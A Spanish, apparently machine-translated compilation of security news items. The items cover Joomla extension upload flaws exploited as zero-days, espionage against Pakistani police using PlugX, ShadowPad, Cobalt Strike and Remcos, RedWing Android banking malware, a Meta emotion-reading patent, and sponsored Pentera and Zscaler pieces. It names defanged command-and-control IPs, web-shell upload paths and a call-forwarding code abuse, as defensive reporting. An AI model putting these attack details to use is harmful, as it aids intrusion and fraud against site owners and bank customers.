«Los teléfonos inteligentes modernos son más difíciles que nunca de verse comprometidos. Las actualizaciones periódicas de seguridad, las reglas más estrictas de las tiendas de aplicaciones y la detección de amenazas en el dispositivo han hecho que el software espía tradicional sea una apuesta mucho más riesgosa para un ciberacosador de lo que solía ser», escribió Kent-Payne. «Como resultado, vemos cada vez más a los abusadores recurrir a algo mucho más simple: las aplicaciones legítimas que ya están instaladas en el teléfono de su víctima. Sin instalación, sin permisos sospechosos, sin consumo de batería revelador; simplemente un mal uso silencioso de una característica que la víctima nunca supo que existía».
Al mismo tiempo, Chrome es el navegador más popular del mundo y esta no es la primera vez que surgen preocupaciones de seguridad. apareció sobre su función de sincronización, entre otras preocupaciones.
Los agentes de seguridad de la IA están empezando a influir en las decisiones de seguridad reales. Resume los hallazgos, prioriza la remediación, recomienda los siguientes pasos y ayuda a los equipos a avanzar más rápido. Pero la mayoría todavía depende de señales de riesgo fragmentadas: resultados del escáner, puntuaciones de gravedad, inteligencia sobre amenazas, hallazgos de configuración y datos de exposición.
Esa fragmentación es importante porque los atacantes no se mueven a través de los entornos una categoría de herramienta a la vez. Encadenan exposiciones entre identidades, redes, activos en la nube, aplicaciones y controles de seguridad. Si el flujo de trabajo de la IA solo ve hallazgos aislados, no puede entender si esos hallazgos crean una ruta de ataque real.
A medida que los atacantes impulsados por IA aceleran la explotación, los equipos de seguridad necesitan algo más que flujos de trabajo más rápidos asistidos por IA. Necesitan flujos de trabajo basados en evidencia que pueda demostrar qué riesgos son explotables.
Estos sistemas pueden correlacionar información e identificar patrones, pero sin validación, no pueden responder la pregunta que en última instancia preocupa a los equipos de seguridad: ¿Puede realmente un atacante aprovechar esto en nuestro entorno? ¿Podemos demostrarlo?
Sin validación, la IA automatiza las conjeturas de seguridad. Con validación, puede actuar sobre la evidencia de un ataque. Para los equipos de seguridad, esa distinción es importante porque el costo de actuar ante una señal incorrecta es un esfuerzo desperdiciado, una reparación retrasada y una exposición continua.
De las señales de riesgo a la evidencia de ataques
Considere un escenario común de gestión de vulnerabilidades. Un escáner identifica cientos de vulnerabilidades en un entorno. Un asistente de IA revisa los resultados y destaca los hallazgos más graves según las puntuaciones CVSS, la inteligencia de explotación y el contexto de exposición. El flujo de trabajo parece eficiente, pero aún toma decisiones a partir de señales desconectadas.
Una vulnerabilidad crítica puede ser inalcanzable.
Un hallazgo de alta gravedad puede estar detrás de múltiples controles de seguridad.
Una debilidad de gravedad media puede en realidad ser parte de una ruta de ataque exitosa que conduzca a un acceso privilegiado.
Aquí es donde la validación de la seguridad se vuelve crítica. La validación de seguridad prueba si las exposiciones, las configuraciones incorrectas, las credenciales y los controles de seguridad realmente pueden aprovecharse en una ruta de ataque real. En lugar de estimar el riesgo, la validación produce evidencia de qué es explotable, qué está bloqueado y qué debe arreglarse. Validación de seguridad impulsada por IA de Pentera La plataforma aplica este enfoque emulando de forma segura técnicas de ataque del mundo real contra entornos de producción para determinar qué exposiciones realmente puede aprovechar un atacante.
Cuando Pentera ejecuta una prueba, hace más que identificar vulnerabilidades. La plataforma realiza de forma segura las mismas técnicas utilizadas por los atacantes para validar la exposición en la infraestructura interna, las superficies de ataque externas, los entornos de nube, los sistemas de identidad y los controles de seguridad. En lugar de producir una lista de debilidades teóricas, Pentera genera rutas de ataque validadas que demuestran cómo un atacante podría moverse por el entorno, encadenando exposiciones entre activos, identidades, controles y superficies de ataque. Cada paso incluye evidencia que muestra:
La técnica utilizada
Los sistemas alcanzaron
Las credenciales obtenidas
Los privilegios obtenidos
Los activos en riesgo
El objetivo conseguido
Esto cambia el conversación de remediación. El equipo ya no debate si un hallazgo podría importar. Se trata de decidir con qué rapidez eliminar una ruta de ataque validada. El flujo de trabajo cambia de «revisar, inferir, priorizar, emitir tickets» a «validar, probar, priorizar, remediar, volver a probar».
Incorporación de la validación a los flujos de trabajo de seguridad de la IA
El desafío es que los datos de validación a menudo viven separados de los flujos de trabajo donde realmente trabajan los equipos de seguridad. Los analistas investigan los hallazgos en una sola herramienta. Los ingenieros solucionan los problemas en otro. Los flujos de trabajo impulsados por IA necesitan evidencia validada de otro lugar antes de poder recomendar acciones con confianza.
Para cerrar esa brecha, Pentera introdujo un servidor MCP (Protocolo de contexto modelo) que hace que los datos de validación de Pentera estén disponibles directamente para los asistentes de IA compatibles con MCP. En lugar de exportar informes, conciliar hallazgos o unir el contexto entre herramientas, las organizaciones pueden conectar los datos de validación de Pentera a los flujos de trabajo de IA que los analistas ya utilizan. Una vez conectados, los agentes de IA pueden recuperar hallazgos, revisar rutas de ataque validadas, acceder a resultados de pruebas e iniciar actividades de validación a través de herramientas y flujos de trabajo existentes basados en IA utilizando lenguaje natural.
Este no es otro copiloto de IA que resume más datos de seguridad. Pentera proporciona al flujo de trabajo de IA evidencia de ataque validada: qué se probó, qué era explotable, qué controles se eludieron y qué pruebas respaldan el hallazgo.
Indicaciones de ejemplo:
«Muéstrame todas las rutas de ataque validadas de la última prueba de Pentera que dieron como resultado acceso privilegiado».
«¿Qué hallazgos críticos del escáner fueron realmente validados por Pentera?»
«Muéstrame evidencia de movimiento lateral de la última prueba».
Qué cambios en el flujo de trabajo
Una vez conectados a Pentera a través de MCP, los flujos de trabajo de IA pasan del análisis pasivo a la acción basada en validación.
Validar antes de emitir el billete. Un escáner señala un problema crítico. El analista le pregunta al asistente de IA si la exposición fue validado por Pentera. El asistente devuelve la ruta de ataque relevante, la técnica utilizada, el activo afectado y si el ataque logró una escalada de privilegios o un movimiento lateral.
Priorice las rutas de ataque explotables. En lugar de clasificar cientos de hallazgos por gravedad, el flujo de trabajo de IA cruza los resultados del escáner con los datos de validación de Pentera y muestra las exposiciones que han demostrado ser explotables en el entorno del cliente. Esto es especialmente importante cuando la exposición de mayor riesgo no es el hallazgo de mayor gravedad sino el hallazgo que conecta con una ruta de ataque validada.
Enriquezca los flujos de trabajo de remediación. Los hallazgos validados se pueden enviar a los sistemas de emisión de tickets con evidencia de ataque adjunta: debilidad explotada, sistema alcanzado, credenciales obtenidas, privilegios obtenidos y contexto de impacto empresarial.
Revalidar después de la remediación. Después de aplicar una solución, el flujo de trabajo de IA puede utilizar los datos de validación de Pentera para confirmar si la ruta de ataque se cerró, convirtiendo la corrección de una actualización de ticket en un resultado verificado.
Indicaciones de ejemplo:
«¿Cuáles de estos hallazgos son realmente explotables?»
«¿Qué ruta de ataque presenta el mayor riesgo empresarial?»
«Mostrar evidencia del movimiento lateral logrado durante la última prueba».
Consideraciones de seguridad para implementaciones empresariales
Los equipos de seguridad que evalúan las integraciones de MCP suelen hacer la misma pregunta: ¿Qué datos están expuestos y adónde van?
El servidor MCP de Pentera está diseñado para implementaciones empresariales controladas:
Se ejecuta localmente como un contenedor Docker
Utiliza comunicación STDIO
No abre puertos de entrada
No requiere interfaz de gestión externa
Hereda los permisos existentes de Pentera RBAC
Opera solo dentro de los permisos del cliente API de Pentera asociado
Registra interacciones para auditabilidad
Esto permite a las organizaciones incorporar datos de validación a los flujos de trabajo de IA sin exponer un nuevo servicio de red ni eludir los controles de gobernanza existentes. A medida que los flujos de trabajo de IA se vuelven más autónomos, la capa de validación debe seguir gobernada por permisos empresariales, pistas de auditoría y límites de implementación.
El cambio de la inferencia de riesgo a la validación
El soporte de MCP es más que un nuevo punto de integración. Refleja un cambio más amplio en las operaciones de seguridad: a los sistemas de inteligencia artificial se les pide que prioricen los riesgos, recomienden acciones e impulsen decisiones de remediación.
Los resultados del escáner pueden sugerir riesgos. La inteligencia sobre amenazas puede indicar relevancia. Los datos de exposición pueden mostrar el contexto. Sólo la validación de seguridad puede determinar si un atacante realmente puede encadenar exposiciones para lograr un ataque exitoso.
Aquí es donde deberían ir las operaciones de seguridad asistidas por IA. Cuando un escáner informa una exposición crítica, un CNAPP genera una alerta o surge una nueva amenaza, el flujo de trabajo no debe detenerse en la detección o priorización. Debería plantearse automáticamente la siguiente pregunta: ¿puede esto realmente explotarse en nuestro entorno?
El servidor MCP de Pentera lleva la validación directamente a los flujos de trabajo de IA. El resultado no es sólo un análisis más rápido. Se trata de una toma de decisiones de seguridad asistida por IA basada en evidencia real de ataques: priorizada por su explotabilidad, conectada a la remediación y verificada después de la solución.
¿Encontró interesante este artículo? Este artículo es una contribución de uno de nuestros valiosos socios. Síguenos en noticias de google, Gorjeo y LinkedIn para leer más contenido exclusivo que publicamos.
Meta ha presentado una solicitud de patente para una IA que escucha tu voz a lo largo del día, determina cómo cree que te sientes a partir de tu forma de hablar y mantiene un registro con marca de tiempo de cada lectura.
Cada lectura se fija en el momento en que sucedió: la hora, su ubicación, lo que estaba haciendo e incluso cómo estaba usando su teléfono. Algunas versiones del archivo se escucharían todo el día; otros se registraban solo a horas determinadas.
Ninguno de estos se incluye en un producto hoy, y Meta no ha anunciado ninguno; una presentación como esta reclama una idea mucho antes de que alguien se comprometa a construirla.
La aplicación, Estados Unidos 2026/0182881fue presentado por Meta Platforms en diciembre de 2025 y publicado el 2 de julio. Nombra a un solo inventor, Lachlan Dunny se remonta a una presentación provisional de diciembre de 2024. El sitio de análisis de patentes Patentar marcó la presentación primero.
Su título combina dos ideas: análisis del estado emocional y entrenamiento físico en tiempo real. Las afirmaciones muestran que la primera es la que importa: de las 20, las tres independientes cubren el análisis emocional por sí sola, mientras que el entrenamiento físico aparece sólo en las afirmaciones dependientes que se basan en ellas.
Lo que describe la patente
Un dispositivo registra su discurso a lo largo del día. Podrían ser gafas inteligentes, un teléfono, un reloj inteligente, auriculares o un altavoz doméstico inteligente, dice la patente.
El dispositivo lo transcribe y una IA entrenada para leer el estado de ánimo se pone a trabajar tanto en las palabras como en la forma en que las dices: tu tono, tu ritmo, un suspiro, una risa. Etiqueta cada tramo de audio con una lectura emocional, relaciona esa lectura con el contexto que lo rodea y, durante un período determinado, un día o un mes, crea un resumen de sus patrones.
El sistema no sólo te etiqueta como estresado. Señala las palabras detrás de cada lectura, lo que la patente llama una cita. En un ejemplo, una lectura de enojo llega con las mismas palabras duras que usaste.
Una cifra registra a una sola persona a lo largo del día: lenguaje pasivo en una videollamada matutina desde casa, una risa con un amigo durante una cena, un suspiro a las 9:15 p. m. captado por un altavoz doméstico inteligente.
En esa figura, los patrones de voz tienen «marca de tiempo y registro en los servidores», y el sistema le entrega al usuario una lectura de ejemplo como esta:
«Suspiras más frecuentemente antes de acostarte y eres más feliz cuando estás con amigos. Has expresado más gratitud este mes».
La presentación va mucho más allá de tu voz. Puede incorporar señales biométricas y de seguimiento ocular, utilizando el tamaño de la pupila, la frecuencia de parpadeo e incluso la humedad de los ojos para detectar estrés o llanto. También puede observar cómo usas tus dispositivos, hasta las publicaciones que ves o que te gustan, tu tiempo de pantalla y qué tan rápido cambias entre aplicaciones. Todo ello alimenta un perfil emocional.
La otra mitad de la patente es un entrenador de ejercicios. Las gafas inteligentes observan tu forma en un espejo y te guían durante la serie, diciéndote que te hundas más profundamente en una sentadilla y luego animándote a realizar algunas repeticiones más.
El entrenador también lee tu estado de ánimo. Si siente que estás cansado o desanimado, se tranquiliza. Si decide que usted tiene energía de sobra y está flojo, la patente dice que puede «amonestarle». La patente afirma que ningún entrenador humano podría igualar su precisión o mantenerla todo el día.
hemos estado aquí antes
La ambición no es nueva. Amazon incorporó la lectura de estados de ánimo por voz en su dispositivo portátil Halo en 2020. Su función Tono escuchaba su tono y ritmo y le decía cómo se encontraba durante el día, tranquilo, frustrado y cosas por el estilo, y procesó esas muestras en su teléfono y las eliminósin tocar nunca la nube.
De todos modos, generó escrutinio: en diciembre de 2020, la senadora Amy Klobuchar presionó a los reguladores federales de salud sobre la recopilación de datos de escaneo corporal y tonos de voz de Halo, calificándolo de inusualmente intrusivo.
Amazonas cerrar toda la línea en 2023aunque nunca vinculó eso con la privacidad. La brecha con la presentación de Meta no es realmente el almacenamiento: la patente mantiene el trabajo en el dispositivo en algunas versiones y registra en los servidores en otras. Es alcance. El tono lee tu estado de ánimo únicamente a partir de tu voz; El sistema de Meta también lee tus ojos y tu teléfono.
Los reguladores tienen sus propias dudas sobre si leer las emociones de esta manera funciona, y han comenzado a trazar límites. Desde febrero de 2025, el Ley de IA de la UE ha prohibido la IA que infiere las emociones de las personas en los lugares de trabajo y las escuelas, excepto por razones médicas o de seguridad, con multas de hasta 35 millones de euros o el 7% de la facturación global de una empresa, lo que sea mayor.
Sus redactores señalaron directamente la ciencia débil: la expresión emocional varía de persona a persona, de cultura a cultura y de momento a momento. Sin embargo, esa prohibición se limita a las herramientas de consumo. Una norma separada que llegará en agosto de 2026 hará que los sistemas que leen emociones a partir de señales biométricas revelen que lo están haciendo.
Es discutible si un coach que da prioridad a la voz cuenta; uno que también lea las pupilas y la velocidad de parpadeo caería más directamente dentro de esa línea biométrica.
The Hacker News se comunicó con Meta para comentar si la aplicación refleja algún plan de producto y cómo dicho sistema manejaría los datos del usuario, y actualizará esta historia con cualquier respuesta.
El entrenador de ejercicios es un uso. Debajo hay un registro continuo de todo lo que el sistema decidió que sentías, vinculado a dónde estabas y qué estabas haciendo.
La lectura del estado de ánimo de Amazon escuchaba solo tu voz y fue retirada en 2023. Meta llega a tus ojos y también a tu teléfono, y lo único que lo mantiene fuera de tu vida es que nadie lo ha construido todavía.
La Agencia de Seguridad de Infraestructura y Ciberseguridad de EE. UU. (CISA) ha agregado dos fallas de seguridad de máxima gravedad que afectan las extensiones iCagenda y Balbooa para Joomla a sus vulnerabilidades explotadas conocidas (KEV) catálogo, tras informes de explotación de día cero en la naturaleza.
Las vulnerabilidades, ambas con una calificación de 10.0 en el sistema de puntuación CVSS, se encuentran a continuación:
CVE-2026-48939 – Una vulnerabilidad en la extensión iCagenda para Joomla que permite la carga de archivos arbitrarios a través de la función de archivos adjuntos, lo que lleva a la carga y ejecución de código PHP.
CVE-2026-56291 – Una vulnerabilidad en la extensión Balbooa Forms para Joomla que permite la carga de archivos arbitrarios, lo que lleva a la ejecución remota de código.
Según mySites.guru, un servicio de panel de control basado en la nube para administrar sitios web de WordPress y Joomla, se dice que CVE-2026-48939 ha sido explotado como día cero desde el 15 de junio de 2026, en ataques automatizados dirigidos a sitios de Joomla en los que está instalado iCagenda. Reside en la funcionalidad del formulario «Enviar un evento», que permite a los usuarios proponer eventos para el calendario.
«Lo vimos por primera vez en el registro de acceso de un cliente: un escáner automatizado que se identificó como ‘icagenda-batch/1.0’ tomó un token, publicó una carga maliciosa en el punto final de envío y luego buscó el shell colocado en la ruta exacta en la que el componente escribe archivos adjuntos», mySites.guru dicho.
La falla afecta a las siguientes versiones:
Versiones 4.x hasta 4.0.7 inclusive
Versiones heredadas 3.x desde 3.2.1 hasta 3.9.14 inclusive
JoomliC desde entonces actualizaciones publicadas para solucionar el problema en las versiones 4.0.8 y 3.9.15 de iCagenda. Se recomienda a los propietarios de sitios que busquen archivos PHP sospechosos en la carpeta «images/icagenda/frontend/attachments/» y los eliminen.
MySites.guru dijo que también observó explotación de día cero de CVE-2026-56291, que afecta a las versiones de Balbooa Forms hasta la 2.4.0 inclusive. Ha sido parcheado en la versión 2.4.1.
«Hasta la versión 2.4.0 inclusive, la carga de archivos adjuntos en la interfaz tenía un error grave: aceptaba un archivo de cualquier visitante anónimo, sin iniciar sesión, sin token CSRF y sin verificar el tipo de archivo», dicho. «Un atacante podría cargar un archivo PHP en una carpeta pública y luego ejecutarlo, lo cual es una ejecución remota de código no autenticado, el peor resultado que puede tener una falla web».
La vulnerabilidad fue descubierta por mySites.guru el 8 de julio de 2026, luego de un ataque en vivo a uno de sus clientes. Ha compartido los siguientes indicadores de compromiso:
Busque en la carpeta de carga de Balbooa Forms (por defecto «images/baforms/uploads») cualquier archivo que no sea una imagen o documento, especialmente cualquier archivo que termine en PHP.
Consulte la lista de usuarios de Joomla para detectar cuentas de administrador sospechosas
Audite el conjunto en busca de archivos PHP recientemente modificados o desconocidos en todo el sitio.
A la luz de la explotación activa, las agencias del Poder Ejecutivo Civil Federal (FCEB) tienen hasta el 13 de julio de 2026 para implementar las correcciones en sus redes.
Australia advierte sobre una campaña global dirigida a sistemas CMS vulnerables
La divulgación se produce cuando el Centro Australiano de Seguridad Cibernética (ACSC) emitió una alerta de una campaña de explotación global dirigida a varias vulnerabilidades en los sistemas de gestión de contenido (CMS) y complementos.
«Como parte de esta campaña, los actores cibernéticos maliciosos están escaneando activamente los sitios web en busca de oportunidades para implementar web shells, aprovechando varias vulnerabilidades que afectan el software y los complementos CMS», dijo la agencia. dicho. «Estas vulnerabilidades permiten principalmente la carga de archivos no autenticados, la ejecución remota de código, la falsificación o deserialización de solicitudes del lado del servidor».
Una vez implementados, los web shells sirven como conductos para el acceso remoto y el control de los servidores web de destino. Algunas de las vulnerabilidades de seguridad identificadas se enumeran a continuación:
«Esta campaña de explotación global a gran escala demuestra la rápida evolución del riesgo cibernético que enfrentan las organizaciones», dijo ACSC, y agregó que «los avances en IA están acelerando la velocidad y la escala de las operaciones cibernéticas, reduciendo el tiempo entre la divulgación de vulnerabilidades y la explotación».
Investigadores de ciberseguridad han revelado detalles de una actividad sostenida de ciberespionaje contra varias organizaciones policiales paquistaníes llevada a cabo por presuntos actores de amenazas alineados con China e India entre febrero de 2024 y abril de 2026.
«En la policía de Baluchistán, los activos comprometidos incluían servidores que albergaban aplicaciones web que gestionan datos policiales y ciudadanos, como registros biométricos y penales», Aleksandar Milenkoski, investigador principal de amenazas de SentinelOne SentinelLABS, dicho en un informe publicado esta semana.
La actividad se centró en dispositivos de red y servidores que alojan aplicaciones web que gestionan registros biométricos, registros de hoteles e inquilinos vinculados a registros nacionales de identidad, expedientes de casos penales y registros de personal.
También se dice que el actor de amenazas del nexo con China comprometió una de estas aplicaciones web para implementar un implante personalizado disfrazado de actualización del portal. La aplicación en cuestión, denominada Sistema de Gestión de Quejas (CMS), sirve al personal policial y a los ciudadanos, poniendo así a ambas categorías de usuarios en la órbita del atacante.
SentinelOne dijo que detectó infraestructura comprometida asociada con varias otras organizaciones policiales paquistaníes, incluida la policía de Khyber Pakhtunkhwa, la policía de Islamabad y la Autoridad de Ciudades Seguras de Punjab (PSCA).
Se han identificado cuatro grupos de amenazas diferentes, cada uno de los cuales implementa una familia de malware única: PlugX, ShadowPad, Cobalt Strike y Remcos RAT. El uso de Remcos RAT se ha vinculado a un actor de amenazas del nexo con la India, mientras que los clústeres PlugX, ShadowPad y Cobalt Strike se basan en herramientas compartidas o básicas y cada uno puede involucrar a más de un operador.
«La victimología que observamos para PlugX (entre el 27 de febrero y el 28 de septiembre de 2024) y ShadowPad (entre el 3 de agosto y el 1 de diciembre de 2024) refuerza esta evaluación», afirmó la empresa de ciberseguridad.
«Más allá de la aplicación de la ley paquistaní, la victimología de PlugX y ShadowPad incluye entidades gubernamentales, de asuntos exteriores, de defensa, no gubernamentales y de investigación en todo el sur, sudeste, centro y este de Asia, la Península Arábiga y el sudeste de Europa, de acuerdo con la colección alineada con China».
Se considera que el conjunto de intrusión relacionado con Remcos comparte infraestructura y superposiciones tácticas con un grupo de hackers conocido como Mysterious Elephant (también conocido como APT-C-08, APT-K-47 y TAG-179), que, a su vez, tiene puntos en común con adversarios del nexo con la India como SideWinder, Confucio y Bitter.
Se ha descubierto que las cadenas de ataque emplean señuelos relacionados con las fuerzas del orden paquistaníes, mostrando un documento señuelo que pretende contener un plan operativo para la repatriación de extranjeros ilegales, incluidos Tarjeta de ciudadano afgano (ACC) titulares.
Los vínculos del grupo de actividad Cobalt Strike con los actores de amenazas del nexo con China se basan en el hecho de que el tráfico al servidor de comando y control (C2) controlado por el atacante («142.171.183[.]8») se extiende más allá de la aplicación de la ley paquistaní y abarca entidades gubernamentales, académicas, de telecomunicaciones y no gubernamentales en el sur, este y sudeste de Asia, Medio Oriente y América del Sur, un perfil de victimología consistente con los piratas informáticos alineados con China.
Entre los objetivos se encuentran las organizaciones budistas tibetanas en Taiwán, que durante mucho tiempo han sido objeto de ciberespionaje por parte de China.
Un examen más detenido de la actividad dirigida a la policía de Baluchistán ha descubierto el compromiso de los siguientes activos que tuvo lugar entre el 2 de junio de 2024 y el 9 de abril de 2026:
Dos dispositivos de red
Servidores web que alojan varias aplicaciones web de la Policía de Baluchistán asociadas con el Comisaría de policía inteligente iniciativa de digitalización
Un dispositivo Fortinet FortiMail que sirvió como principal puerta de enlace de correo electrónico entrante de la agencia.
Una de las aplicaciones infectadas es el Sistema de Gestión de Quejas («cms.balochistanpolice.gov[.]pk»), que se utiliza para registrar, rastrear y resolver quejas de los ciudadanos. Se han subido al sitio dos variantes distintas de un implante llamado «cms_plugin.exe» en relación con la operación:
Un stager de Rust que está diseñado para descargar una carga útil adicional desde «193.42.25[.]65» y ejecútelo. Se desconoce la naturaleza exacta de la siguiente etapa, pero las muestras muestran un mensaje «¡Actualización completa! Actualice la página» tras la ejecución, imitando una actualización del portal CMS.
Un ejecutable .NET que se hace pasar por «360Safe.exe», un binario legítimo utilizado por Qihoo 360 Total Security, para cargar de forma reflexiva un ensamblado que implementa un cliente AsyncRAT.
La actividad es notable porque ha atraído a un «socio y un adversario de Pakistán» hacia la misma víctima para recopilar información de inteligencia, probablemente impulsada por motivos geopolíticos.
«Cuando múltiples actores de ciberespionaje operan contra las instituciones encargadas de hacer cumplir la ley de un solo Estado, la convergencia en sí misma es una señal del valor del objetivo», explicó Milenkoski. «Lo que los atrae es un tipo particular de institución: una que posee el panorama de seguridad interna del gobierno, lo que sabe sobre las amenazas dentro de sus fronteras y cómo actúa contra ellas».
«El compromiso de la aplicación web del Sistema de Gestión de Quejas añade una segunda dimensión a la actividad contra la policía de Baluchistán, extendiendo el alcance del actor de amenazas más allá del entorno inicialmente comprometido. Al alojar implantes en un portal utilizado tanto por ciudadanos como por personal encargado de hacer cumplir la ley, el actor de amenazas convirtió una herramienta creada para hacer que la policía en Pakistán sea más accesible y responsable ante el público en un mecanismo de entrega de malware».
La IA ha cambiado la velocidad con la que se mueven los ataques. El trabajo que antes le tomaba días a un atacante ahora toma minutos. Utilizando modelos como Mythos, los atacantes escriben cebos personalizados, eligen objetivos, prueban qué aterriza y saltan al siguiente anfitrión antes de que su equipo borre la primera alerta.
Ésa es la brecha y no es culpa tuya. Las herramientas y los runbooks que utilizan la mayoría de los equipos se crearon para atacantes que trabajan a velocidad humana. Los ataques impulsados por IA no lo hacen y se ejecutan a escala. Guarde su asiento para el seminario web gratuito «Superando los mitos: cómo defenderse de los ataques impulsados por la IA«.
En una hora desmantelaremos el ataque. Verás cómo entran los ataques impulsados por IA, qué hacen una vez que están dentro y por qué las defensas basadas en red siguen quedando un paso atrás. No hay teoría de diapositivas, solo la mecánica, por lo que la próxima campaña parece familiar en lugar de sorprendente.
Luego la parte útil: detenerlo. Te vas con tres movimientos que realmente funcionan, no tres productos más para cuidar niños.
Reduzca lo que el atacante puede alcanzar. Elimine los puntos de entrada expuestos y aplique acceso con privilegios mínimos en todas partes, para que haya menos que encontrar.
Mata el movimiento lateral por diseño. Elimine la confianza basada en la red y permita solo las conexiones que los usuarios y las cargas de trabajo realmente necesitan.
Atrápalo temprano. Coloque cables trampa que los ataques de IA activen, disparando contención automatizada antes de que un punto de apoyo se convierta en un incidente.
Olivia Vort, de Zscaler, muestra cómo poner esto en práctica con un enfoque Zero Trust diseñado para la velocidad de la máquina. Regístrese gratis y pruebe la presión de su pila antes de que un ataque de IA lo haga por ti.
Sales con un plan que puedes usar el lunes: qué arreglar primero, qué ajustar y cómo reducir el riesgo rápidamente sin comprar otra herramienta ni agregar más ruido a la cola.
Los atacantes no están esperando a que los alcances. Dedique una hora a encontrar sus lagunas según sus propios términos, antes de que alguien más las encuentre según los suyos. Toma tu lugar. Es gratis y se llena.
¿Encontró interesante este artículo? Este artículo es una contribución de uno de nuestros valiosos socios. Síguenos en noticias de google, Gorjeo y LinkedIn para leer más contenido exclusivo que publicamos.
Una nueva operación de malware para Android llamada Malvís se alquila en Telegram como un servicio de fraude bancario ya preparado. Permite que incluso delincuentes poco capacitados se apoderen del teléfono de la víctima, roben sus inicios de sesión bancarios y capturen los códigos de un solo uso que protegen sus cuentas.
Los zLabs de Zimperiumque descubrió la operación, dice que parece una nueva variante de Olvidouna herramienta de alquiler de malware de 300 dólares al mes documentada a principios de este año.
RedWing se vende como un producto completo, en niveles de suscripción con descuentos por referencias, guías y videos instructivos, por lo que el comprador no necesita habilidades para escribir malware. Un bot de Telegram crea para cada comprador una aplicación personalizada a pedido.
Los investigadores dicen que una cantidad sustancial de los droppers y cargas útiles resultantes actualmente evaden las herramientas de seguridad convencionales.
La infección comienza con un enlace de phishing que abre una página falsa de una tienda de aplicaciones. El creador de cuentagotas del kit puede imitar Google Play, Galaxy Store y AppGallery, o crear páginas totalmente personalizadas, con calificaciones, reseñas y recuentos de descargas falsos. Luego, la página convence al usuario para que instale la aplicación desde fuera de la tienda oficial y apruebe sus permisos.
La aplicación presenta sus solicitudes de permiso una pantalla a la vez. Una página web de apariencia inofensiva se encuentra en segundo plano mientras las tarjetas emergentes solicitan permisos enmarcados como rutinarios: desactivar los límites de batería, configurar la aplicación como el administrador de mensajes de texto predeterminado y activar las notificaciones.
También solicita activar el servicio de Accesibilidad de Android, del que el malware abusa para leer la pantalla y controlar el teléfono.
Con esos permisos, RedWing tiene un amplio control del teléfono. Sus capacidades incluyen:
Pantallas de inicio de sesión falsas, llamadas superposiciones, que aparecen sobre aplicaciones bancarias y de criptomonedas reales para robar contraseñas.
Leer mensajes de texto entrantes para obtener contraseñas de un solo uso y usar Accesibilidad para eliminar códigos, números de tarjetas y PIN de la pantalla a medida que aparecen.
Cambia silenciosamente las llamadas entrantes de la víctima al atacante, utilizando un código de operador oculto (*21*) para activar el desvío de llamadas, lo que anula la verificación telefónica y las llamadas de verificación de fraude bancario.
Transmisión de pantalla en vivo y registrador de teclas, para que los operadores puedan ver y controlar el teléfono en tiempo real.
Encender la cámara y el micrófono, leer archivos, robar contactos y registros de llamadas y rastrear la ubicación.
Agrupar teléfonos infectados para inundar de tráfico un sitio web objetivo, un ataque de denegación de servicio.
Los compradores eligen sus propios objetivos y el malware los divide en dos. Las aplicaciones que observa a través de Accesibilidad están incorporadas en cada copia, lo que indica que se crea una aplicación nueva a pedido una vez que el comprador elige los objetivos. Los objetivos superpuestos, por el contrario, se pueden cambiar más tarde desde el panel de control sin tener que abrir una nueva aplicación.
Zimperium contó 82 instituciones objetivo en varios sectores, con un fuerte enfoque en las empresas financieras rusas, aunque esa lista puede cambiar en cualquier momento. La evidencia apunta al mercado ruso: una muestra utilizó una página falsa de RuStore de Rusia. Los expertos dicen que la operación parece estar vinculada a actores de amenazas rusos, pero no llegan a confirmarla.
RedWing encaja en un movimiento más amplio en los delitos de Android hacia el fraude en el dispositivo, donde los atacantes operan dentro de la propia sesión bancaria de la víctima en lugar de robar una contraseña para usarla en otro lugar.
Los investigadores detectaron el año pasado un kit de alquiler casi idéntico en el mercado ruso, Fantasy Hub. Las mismas técnicas aparecen en Albiriox, dirigido a más de 400 aplicaciones financieras, y Klopatra, que utilizaba control remoto oculto y superposiciones falsas para vaciar cuentas mientras las víctimas dormían.
RedWing no necesita ningún exploit de Android. Sólo funciona cuando un usuario instala la aplicación desde fuera de una tienda oficial y aprueba las indicaciones, por lo que la primera línea de defensa es lo que sucede en el momento de la instalación. Para particulares:
Instale aplicaciones sólo desde tiendas oficiales y trate como sospechosa cualquier «actualización» que llegue mediante un enlace o mensaje de texto.
No active «instalar desde fuentes desconocidas» y no otorgue accesibilidad, controlador de mensajes de texto predeterminado o acceso de exención de batería a una aplicación sin una razón clara para necesitarla.
Esté atento a una aplicación que oculta su ícono después de instalarse, un truco común para permanecer fuera de la vista.
En los dispositivos administrados, se pueden aplicar las mismas opciones de forma centralizada: bloquear la descarga y marcar las aplicaciones que solicitan Accesibilidad o la función de SMS predeterminada.
Los investigadores también han publicado indicadores de compromiso para los equipos que quieren buscarlo. Debido a que el kit se puede cambiar y sus objetivos superpuestos se pueden intercambiar desde un panel, el mismo código puede seguir apareciendo con nuevos nombres, por lo que los nombres de las aplicaciones son una mala manera de rastrearlo. El comportamiento es la señal, no el nombre.
